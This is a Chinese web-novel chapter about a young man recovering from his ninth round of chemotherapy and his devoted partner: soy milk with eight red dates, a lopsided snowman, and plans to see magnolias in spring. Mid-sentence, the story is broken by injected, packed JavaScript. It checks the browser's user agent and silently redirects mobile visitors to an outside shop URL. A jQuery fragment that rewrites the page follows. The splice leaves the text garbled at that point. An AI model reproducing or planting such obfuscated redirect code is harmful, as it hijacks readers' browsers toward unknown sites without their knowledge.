第九次化疗结束后，苌斓在病床上躺了整整两天没有下地。不是不想动，是动不了——骨头深处的钝痛像退潮后的滩涂，不再汹涌却依旧泥泞，每一次翻身都像在淤泥里拔腿。忘海把粥端到床边，一口一口喂他，他吃了小半碗就吃不下了，说胃里还是翻涌。忘海没有勉强，只是把粥放回保温袋里温着，说等会儿想吃了再吃。
第三天，苌斓终于能坐起来了。他靠在床头，看着窗外光秃秃的梧桐枝丫，忽然说想喝豆浆。忘海天没亮就回家磨好装在保温杯里带过来，还是八颗红枣，和过去每一个早晨一样。苌斓捧着杯子喝了一口，温度刚好，甜度刚好，豆浆从喉咙滑下去时没有那股金属味。他说好喝，忘海说磨了三遍，比平时多磨了一遍。苌斓又喝了一口，低着头看着杯子里微微晃动的豆浆，忽然开口——他问忘海昨天夜里是不是听到了很多不该听的话，忘海说没有不该听的。苌斓沉默了一会儿，又问他小时候那些事是不是都知道了。忘海把保温杯从他手里接过来，放在床头柜上，然后握住他的手，说知道一些，不是全部，但不管知道多少都不会改变任何事。他六岁时打碎的碗，七岁时被锁在门外的冬夜，十一岁时落在身上的拳头，走廊里那些掠过他的目光——这些都只是让他心疼，心疼那些事发生在苌斓身上，心疼他一个人扛了那么多年，但心疼不会让他觉得苌斓有什么不好。他见过苌斓最狼狈的样子，也见过他最勇敢的样子，从始至终，他爱的都是这个人。
苌斓低着头，睫毛轻轻颤了一下。过了很久，他说，有时候觉得自己已经不恨他们了，不是原谅，是没力气恨了。恨也需要精力，化疗把所有的精力都抽走了，连恨都恨不动了。他顿了顿，又问忘海信不信他说的。忘海说信，恨不动就不恨，他来替苌斓恨，等苌斓有力气了再还给他。苌斓极轻极淡地弯了一下嘴角，说好，先欠着。
下午，苌斓说想去走廊走走。忘海扶着他站起来，他的腿还有些软，靠在忘海身上走得很慢。两个人沿着病房走廊慢慢踱步，走到走廊尽头的窗户前停下来。窗外院子里有个小孩在堆雪人，雪人歪歪扭扭的，脑袋比身子还大，鼻子是一根胡萝卜插得歪向一边。苌斓看着那个雪人，忽然说那个雪人比他堆的还丑。忘海说，和你堆的那个歪扭的差不多，丑得一模一样。苌斓又看了一会儿，问去年冬天在天台上堆的那两个雪人还在不在。忘海说在，只是被雪埋了好几层，等雪化了还会露出来。春天来了还会在吗？忘海说春天来了就化了，但下个冬天还会再有，每年冬天都会有新的雪人。每年冬天，他都在。
苌斓把手从忘海的臂弯里抽出来，轻轻握住了他的手。他看着窗外那个歪扭的雪人，忽然说等春天到了想去看玉兰花，还是那棵，在公园湖边。如果春天来不及——忘海截断他的话，说来得及，等他再好一点就推他去，轮椅放在储物间里，充好气了。苌斓侧头看着他，说你怎么知道轮椅没气。忘海说上次立春推他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724424|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去看花之后就把气放掉了，今天早上又充好了，想着天气好可以推他去院子里转转。苌斓看了他很久，说他什么事都提前做，连轮椅都要提前充好气。忘海说轮椅充气也是磨豆浆的一种，都是把东西弄进去。苌斓愣了一下，然后低下头，嘴角慢慢弯起来。
第九次化疗结束后的第三天傍晚，苌斓靠在病床上，腿上盖着那条灰色薄毯，手里捧着忘海刚热好的梨汤。窗外又开始飘雪了，细密的雪花落在窗台上，积了薄薄一层。他说，外面又下雪了。忘海坐在床边的椅子上，手里拿着那本翻了很多遍的旧书，书页里夹着去年秋天的梧桐叶、前年春天的玉兰花瓣，还有不知哪一年的银杏叶。他抬头看了看窗外，说嗯，下雪了，明天早上应该能堆新的雪人。苌斓说这次想堆一个精致一点的。忘海说好，然后翻了一页书。
病房里暖气片轻轻响着，保温杯里的梨汤冒着热气。他想起第一次化疗时苌斓剃光头发站在镜子前说好丑，想起第三次化疗时他把红枣茶喝出金属味，想起第八次化疗时他在高烧中喊出的那些名字。每一幕都像刀刻在骨头上的划痕，但每一道划痕旁边都有一只手在轻轻抚过——他的手握着苌斓的手，苌斓的手攥着他的指尖。明天早上豆浆机还是会准时响起，保温杯里还是会放八颗红枣。春天还没有来，但轮椅已经充好了气。他们会一起等，等梧桐树重新发芽，等玉兰花重新开满枝头，等雪化了之后那个歪歪扭扭的小雪人重新出现在阳光下。